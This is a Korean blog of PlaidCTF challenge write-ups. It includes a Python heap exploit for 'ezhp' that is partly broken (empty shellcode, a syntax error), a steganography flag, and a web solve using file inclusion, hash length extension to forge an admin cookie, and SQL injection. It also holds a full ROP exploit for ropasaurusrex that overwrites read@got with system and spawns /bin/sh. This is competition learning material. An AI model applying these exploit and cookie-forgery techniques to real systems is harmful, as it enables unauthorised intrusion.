레이블이 Pctf인 게시물을 표시합니다. 모든 게시물 표시
레이블이 Pctf인 게시물을 표시합니다. 모든 게시물 표시

2014년 4월 21일 월요일

pCTF ezhp 200 exploit only

ezhp 300 exploit!

#!/usr/bin/python



from socket import *

from struct import *



p = lambda x : pack("<L",x)

up = lambda x : pack("<L",x)[0]



s = socket(AF_INET,SOCK_STREAM)

s.connect(('127.0.0.1',8989))



puts_got = 0x0804A008

shellcode = ""

nopsled = "\x90"*90

payload = nopsled+shellcode





def write(s,size)

s.send("1\n")

s.recv(1024)

s.send(size)



def change(s,num,size,data):

s.send("3\n")

s.recv(1024)

s.send(num)

s.recv(1024)

s.send(size)

s.recv(1024)

s.send(data)



def main():

print s.recv(2048) #start!

write(s,4)

s.recv(1024)

change(s,0,100,p(puts_got)*9)

s.recv(1024)

write(s,4)

s.recv(1024)

change(s,0,len(payload),payload)

s.recv(1024)

s.send("1\n")





if __name__=="__main__":

main()

CLEAR!

2014년 4월 15일 화요일

pCTF doge_stege forensic 100 writeup

간단한 문제였다.



적절한 툴을 사용하여 풀었다.



중간쪽에 어렴풋이 보이는.
pctf{keep_doge_alive_2014}
CLEAR!

pCTF mtpox web 150 writeup

http://54.211.6.40/ 에 접속시 이런 서비스가 돌아가고있었다.



LFI 취약점을 사용해  admin.php의 내용을 미리 엿볼수있었고,


소스도 볼수있었다.ㅎㅎㅎㅎㅎㅎ

아는 형에게 물어본 결과 hash extension attack 인것을 알고는 hash_extender 를 사용하여


kjungi704@jungiui-MacBook-Pro hash_extender $ for((i=1;i<=50;i++));do ./hash_extender -d "b:0;" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a "b:1;" --out-data-format html -l $i >> mtpox_auth; done

kjungi704@jungiui-MacBook-Pro hash_extender $ for((i=1;i<=50;i++));do ./hash_extender -d ";0:b" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ";1:b" --out-data-format html -l $i >> mtpox_hsh; done

이렇게 길이를 모르기때문에 1~50 길이의 해쉬를 새로 생성하였다.
그러나 다시 읽어본결과 http://54.211.6.40/index.php?page=about 에 'admin cookie using by 8-byte salt'  라는 문구가 있었고, 고생을 할필요가 없었기에,

kjungi704@jungiui-MacBook-Pro hash_extender $ ./hash_extender -d "b:0;" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a "b:1;" --out-data-format html

kjungi704@jungiui-MacBook-Pro hash_extender $ ./hash_extender -d ";0:b" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ";1:b" --out-
data-format html

이렇게 이렇게 해쉬를 생성하여, 쿠키값에 넣어줬더니,

admin 을 따게되었다.

그리곤 저 입력 form에 sql injection을 하여 table 명은 plaidcoin_wallets 라는것을 알게되었고, column은 id와 coins가 있다는것을 알게되었다.

table과 column명을 모두 알아냈기에 공격을 하여 키값을 획득하였다.


CLEAR!

2014년 1월 22일 수요일

Pctf2013 ropasaurusrex (pwn 200)

binary download*aslr,nx : on
*환경 : ubuntu 13.10
xinet을 이용, 7777번 포트에서 동작하게 해놓았다.

우선 바이너리를 다운받아 분석해본결과 read함수에서 overflow가 나는것을 확인하였다.
프로그램 자체는 상당히 간단하였다.
아무거나 출력하면 WIN 을 리턴하는 형식이였다




그리하여 내가 생각한 시나리오는
read@got를 system으로 overwrite시켜서 명령어를 수행하는 방식이였다.
1. read@plt call 로 전달할 명령 .bss나 .data영역에 넣기
2. write@plt call 로 read함수의 주소 출력시키기
3. 소켓이용, read함수 주소 낼름 받아먹기
4. read@plt call 로 read@got overwrite시키기
5. 변조된read@plt call 로 명령 수행하기

그리하여 난 파이썬을 사용하여 exploit코드를 작성하였다.



#!/usr/bin/python
from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(('127.0.0.1',7777))

p=lambda x:pack("<I",x)
up=lambda x:unpack("<I",x)[0]

readplt = 0x0804832c
readgot = 0x0804961c
writeplt = 0x0804830c
custom_stack = 0x08049624
pppr = 0x080484b6
offset = 0x9f630 
cmd = "/bin/sh"
payload = ""


payload += "A"*140 #dummy 140bytes
payload += p(readplt)  #read@plt call
payload += p(pppr) #pop; pop; pop;
payload += p(0) #stdin
payload += p(custom_stack) #custom_stack
payload += p(len(cmd)) #cmd length

payload += p(writeplt) #write@plt call
payload += p(pppr) #pop; pop; pop;
payload += p(1)  #stdout
payload += p(readgot) #prints read addr
payload += p(4) #length

payload += p(readplt) #read@plt call
payload += p(pppr) #pop; pop; pop;
payload += p(0) #stdin
payload += p(readgot) #read@got overwrite
payload += p(4) #length

payload += p(readplt)  #system
payload += p(0xdeadbeef) #ret
payload += p(custom_stack)  #command addr


print "Go Go Go"
s.send(payload+"\n")
s.send(cmd)
read = up(s.recv(4))

print "this is read : "+hex(read)
system=read-offset
print "this is system : "+hex(system)

s.send(p(system))

print "\n!pwned!"
s.send("cat /home/mango/key\n")

print s.recv(1024)

s.close()

PWNED!!